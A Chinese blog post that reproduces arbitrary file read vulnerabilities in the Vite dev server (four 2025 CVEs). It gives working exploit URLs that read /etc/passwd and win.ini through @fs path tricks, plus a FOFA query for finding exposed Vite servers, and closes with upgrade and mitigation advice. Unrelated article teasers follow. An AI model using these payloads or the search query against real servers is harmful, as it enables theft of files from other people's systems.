当前位置:首页 > 技术文章 > 正文内容

Vite任意文件读取漏洞复现,简单的令人发指,只需浏览器一行代码

zonemu3个月前 (07-26)技术文章31

Vite 是一个现代化的前端构建工具,由 Vue.js 的作者尤雨溪开发,支持 Vue、React、Svelte、Lit 等框架。但这个 Vite在2025年连续出了4个CVE编号的漏洞,分别是CVE-2025-30208、CVE-2025-31125、CVE-2025-31486、CVE-2025-32395。这个漏洞利用方式非常简单,傻瓜化,小白也能感觉到黑客的快乐了。


这4个CVE的漏洞利用方法都是高度类似,我以最新的CVE-2025-32395为例,本地复现一下。这个Vite6.2.6以前都有漏洞,所以我们本地装一下,前提你电脑里要装好nodejs。

npm install vite@6.2.5
npm pkg set scripts.dev="vite"
npm run dev

最后就会让你打开浏览器,http://localhost:5173/。

如何利用呢?直接执行:http://localhost:5173/@fs/etc/passwd就可以。如果出现了403的话,也不要慌张。


直接更改为http://localhost:5173/@fs/etc/passwd?raw??,或是http://localhost:5173/@fs/etc/passwd?import&raw??就可以了。下图是获得了/etc/passwd的文件内容,当然根据系统不同,也可以获取相应文件内容。

至于以前的三个漏洞编号利用方式是什么样的呢?官方给出以下poc:

  • CVE-2025-30208:http://localhost:5173/iife/@fs/C:/windows/win.ini?import&raw??
  • CVE-2025-31125:http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
  • CVE-2025-31486:http://localhost:5173/iife/C:/windows/win.ini?import&?.svg?.wasm?init

奇安信鹰图资产测绘平台数据显示,Vite 任意文件读取漏洞(CVE-2025-32395)关联的国内风险资产总数为47506个,关联IP总数为10961个,使用人数还是很多的。

fofa的语句:header="vite" || body="/@vite/client" || body="__vite_ping"
 && (port="3000" || port="5173" || port="8080" || port="4173")

目前官方已有可更新版本,建议受影响用户升级至最新版本,官方补丁下载地址:

https://github.com/vitejs/vite/releases

修复缓解措施:

通过限制开发服务器的访问权限,如关闭 server.host 或将其绑定到特定的 IP 地址,以减少攻击面。

相关文章

「图解」父子组件通过 props 进行数据交互的方法

1.组件化开发,经常有这样的一个场景,就是父组件通过 Ajax 获取数据,传递给子组件,如何通过 props 进行数据交互来实现,便是本图解的重点。2.代码的结构3.具体代码 ①在父组件 data 中...

git的几种分支模式(git分支的概念)

编写代码,是软件开发交付过程的起点,发布上线,是开发工作完成的终点。代码分支模式贯穿了开发、集成和发布的整个过程,是工程师们最亲切的小伙伴。那如何根据自身的业务特点和团队规模来选择适合的分支模式呢?本...

在 Spring Boot3 中操作 GitLab API 的全面指南

在当今互联网大厂的后端开发工作中,高效管理代码版本和项目协作至关重要。GitLab 作为强大的版本控制系统,其 API 为开发人员提供了丰富的操作可能性。本文将深入探讨如何在 Spring Boot3...

前端学习又一大里程碑:html5+js写出歌词同步手机播放器

需要完整代码和视频请评论后加前端群470593776领取javascript进阶课题:HTML5迷你音乐播放器学习疲惫了,代码敲累了,听听自己做的的音乐播放器,放松与满足知识点:for循环语句,DOM...

HTML5学习笔记三:HTML5语法规则(html5语法详解)

1.标签要小写2.属性值可加可不加””或”3.可以省略某些标签 html body head tbody4.可以省略某些结束标签 tr td li例:显示效果:5.单标签不用加结束标签img inpu...

HTML5最新版本介绍(“html5”)

HTML5是HTML4.01和XHTML1.0之后超文本标记语言的最新版本,由一群自由思想者设计,最终实现了多媒体支持、交互性、更智能的表单和更好的语义标注。 HTML 5不只是 HTML规范的最新...